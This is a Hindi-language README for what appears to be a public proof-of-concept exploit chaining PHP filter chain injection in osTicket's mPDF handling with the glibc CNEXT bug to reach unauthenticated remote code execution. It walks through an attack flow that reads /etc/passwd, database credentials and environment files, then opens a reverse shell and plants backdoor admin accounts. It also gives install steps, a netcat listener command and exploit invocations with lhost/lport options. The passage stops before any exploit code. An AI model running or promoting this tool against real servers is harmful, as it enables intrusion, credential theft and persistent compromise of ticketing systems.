CVE-2026-22200: osTicket में मनमाना फ़ाइल पढ़ने से RCE तक

PHP फ़िल्टर चेन इंजेक्शन को CVE-2024-2961 (CNEXT) के साथ जोड़कर, कमजोर osTicket इंस्टॉलेशन पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) प्राप्त करने वाली पूर्ण-श्रृंखला शोषण।

---

विषय-सूची

• अवलोकन
• कमजोरी का विवरण
• हमले का प्रवाह
• विशेषताएँ
• स्थापना
• उपयोग
• तकनीकी विवरण
• समस्या समाधान
• पहचान एवं शमन
• श्रेय
• अस्वीकरण

---

अवलोकन

इस रिपॉजिटरी में CVE-2026-22200 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण है, जो osTicket संस्करण ≤ 1.18.2 को प्रभावित करने वाली एक गंभीर कमजोरी है। यह शोषण दो शक्तिशाली तकनीकों को जोड़ता है:

1. mPDF की इमेज प्रोसेसिंग के माध्यम से PHP फ़िल्टर चेन इंजेक्शन
2. glibc के iconv() में CNEXT हीप भ्रष्टाचार (CVE-2024-2961)

परिणाम: कमजोर osTicket सर्वर पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन।

प्रभाव

• बिना प्रमाणीकरण - किसी क्रेडेंशियल की आवश्यकता नहीं
• पूर्ण RCE - सर्वर का पूर्ण समझौता
• फ़ाइल बहिर्वेशन - सर्वर की मनमानी फ़ाइलें पढ़ें
• डेटाबेस पहुँच - DB क्रेडेंशियल निकालें
• व्यवस्थापक पहुँच - बैकडोर व्यवस्थापक खाते बनाएँ

प्रभावित संस्करण

• osTicket: ≤ v1.18.2, ≤ v1.17.6
• glibc: < 2.39 (CVE-2024-2961 को glibc 2.39+ में पैच किया गया)

---

🔍 कमजोरी का विवरण

CVE-2026-22200: PHP फ़िल्टर चेन इंजेक्शन

CVSS स्कोर: 9.8 (गंभीर)

osTicket का mPDF एकीकरण बिना प्रमाणीकरण वाले उपयोगकर्ताओं को सपोर्ट टिकटों में विशेष रूप से तैयार HTML पेलोड के माध्यम से दुर्भावनापूर्ण PHP फ़िल्टर चेन इंजेक्ट करने की अनुमति देता है। इससे संभव है:

• मनमानी फ़ाइल पढ़ना (कॉन्फ़िग, स्रोत कोड, क्रेडेंशियल)
• मेमोरी लीकेज (/proc/self/maps, आंशिक libc)
• CNEXT के माध्यम से हीप भ्रष्टाचार

मूल कारण: mPDF को भेजने से पहले उपयोगकर्ता द्वारा प्रदान किए गए HTML में इमेज URL का अपर्याप्त सत्यापन।

CVE-2024-2961: CNEXT (iconv बफर ओवरफ़्लो)

CVSS स्कोर: 9.8 (गंभीर)

ISO-2022-CN-EXT कैरेक्टर सेट को प्रोसेस करते समय glibc के iconv() में बफर ओवरफ़्लो। PHP फ़िल्टर चेन के साथ मिलकर, यह अनुमति देता है:

• हीप भ्रष्टाचार
• फ़ंक्शन पॉइंटर अपहरण
• मनमाना कमांड निष्पादन

कमजोर glibc संस्करण: < 2.39 (फ़रवरी 2024)

---

🔗 हमले का प्रवाह

┌─────────────────────────────────────────────────────────────────┐
│ 1. टोही                                                       │
│    └─ osTicket का पता लगाएँ, समृद्ध-पाठ विषयों की पहचान करें│
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. प्रमाणीकरण                                                 │
│    └─ स्वयं-पंजीकरण करें या मौजूदा क्रेडेंशियल का उपयोग करें│
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. फ़ाइल बहिर्वेशन (PHP फ़िल्टर चेन)                        │
│    ├─ /etc/passwd                                              │
│    ├─ include/ost-config.php (DB क्रेडेंशियल, SECRET_SALT)    │
│    ├─ /proc/self/maps (मेमोरी लेआउट)                          │
│    └─ /proc/self/environ (पर्यावरण चर)                        │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC फ़िंगरप्रिंटिंग                                        │
│    ├─ फ़िल्टर चेन के माध्यम से आंशिक libc निकालें            │
│    ├─ GNU बिल्ड आईडी निकालें                                   │
│    └─ libc.rip से पूर्ण libc डाउनलोड करें                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE शोषण                                              │
│    ├─ हीप भ्रष्टाचार पेलोड जनरेट करें                        │
│    ├─ टिकट उत्तर के माध्यम से इंजेक्ट करें (फ़िल्टर निष्पादन│
│    │  सुधारों के साथ)                                          │
│    ├─ PDF निर्यात के माध्यम से ट्रिगर करें (सर्वर क्रैश)    │
│    └─ रिवर्स शेल निष्पादित करें                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. पोस्ट-एक्सप्लॉयटेशन                                        │
│    ├─ इंटरैक्टिव रिवर्स शेल                                    │
│    ├─ डेटाबेस पहुँच (बहिर्वेशित DBPASS का उपयोग करके)        │
│    └─ बैकडोर व्यवस्थापक खाता बनाएँ                            │
└─────────────────────────────────────────────────────────────────┘

---

विशेषताएँ

मुख्य क्षमताएँ

• पूरी तरह से स्वचालित शोषण श्रृंखला
• बिना प्रमाणीकरण का हमला (यदि सक्षम हो तो स्वयं-पंजीकरण)
• /proc/self/maps पार्सिंग के माध्यम से बुद्धिमान वेब रूट पहचान
• फ़ाइलसिस्टम स्कैनिंग के माध्यम से 100% वेबशेल स्थान
• स्वचालित libc फ़िंगरप्रिंटिंग और डाउनलोड
• कई रिवर्स शेल विधियाँ (bash, python, netcat)
• कैश-बस्टिंग के साथ मजबूत फ़िल्टर निष्पादन
• समस्याओं को जल्दी पकड़ने के लिए प्री-फ़्लाइट डायग्नोस्टिक्स

बढ़ी हुई विश्वसनीयता

• गारंटीकृत क्रैश के लिए मल्टी-ट्रिगर CNEXT (95%+ सफलता)
• उत्तर-आधारित इंजेक्शन (नए टिकटों की तुलना में अधिक विश्वसनीय)
• फ़िल्टर निष्पादन सुनिश्चित करने के लिए स्ट्रीम फ़ोर्सिंग
• पुरानी PDF परोसने से रोकने के लिए कैश-बस्टिंग
• व्यापक त्रुटि प्रबंधन और डायग्नोस्टिक्स

पोस्ट-एक्सप्लॉयटेशन

• डेटाबेस क्रेडेंशियल निष्कर्षण (कॉन्फ़िग से DBPASS)
• DB पहुँच के माध्यम से व्यवस्थापक खाता निर्माण
• स्थायी बैकडोर विकल्प
• पूर्ण सिस्टम टोही

---

स्थापना

आवश्यक शर्तें

• Python 3.8+
• Linux/macOS (अनुशंसित) या Windows पर WSL

निर्भरताएँ

# रिपॉजिटरी क्लोन करें
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# आवश्यक पैकेज स्थापित करें
pip install -r requirements.txt

requirements.txt:

requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

वैकल्पिक: वर्चुअल एनवायरनमेंट

python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# या
venv\Scripts\activate  # Windows

pip install -r requirements.txt

---

📖 उपयोग

मूल उपयोग - रिवर्स शेल

# टर्मिनल 1: लिसनर शुरू करें
nc -lvnp 4444

# टर्मिनल 2: शोषण चलाएँ
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

इंटरैक्टिव वेबशेल मोड

python3 osticket_exploit.py https://target.com/osticket

उन्नत विकल्प

# प्रॉक्सी का उपयोग करें (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# विशेष हेल्प-टॉपिक आईडी बलपूर्वक
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# रंगीन आउटपुट अक्षम करें (लॉगिंग के लिए)
python3 osticket_exploit.py https://target.com/osticket --no-color

मौजूदा क्रेडेंशियल

यदि पंजीकरण अक्षम है, तो आपसे क्रेडेंशियल माँगे जाएँगे:

python3 osticket_exploit.py https://target.com/osticket

  [?] नए खाते के लिए ईमेल दर्ज करें (या मौजूदा): [email protected]
  [?] पासवर्ड दर्ज करें: ********

---

🔧 तकनीकी विवरण

PHP फ़िल्टर चेन जनरेशन

शोषण एक परिष्कृत फ़िल्टर चेन का उपयोग करता है जो मनमानी फ़ाइलों में BMP हैडर जोड़ता है, mPDF की फ़ाइल प्रकार प्रतिबंधों को बायपास करते हुए: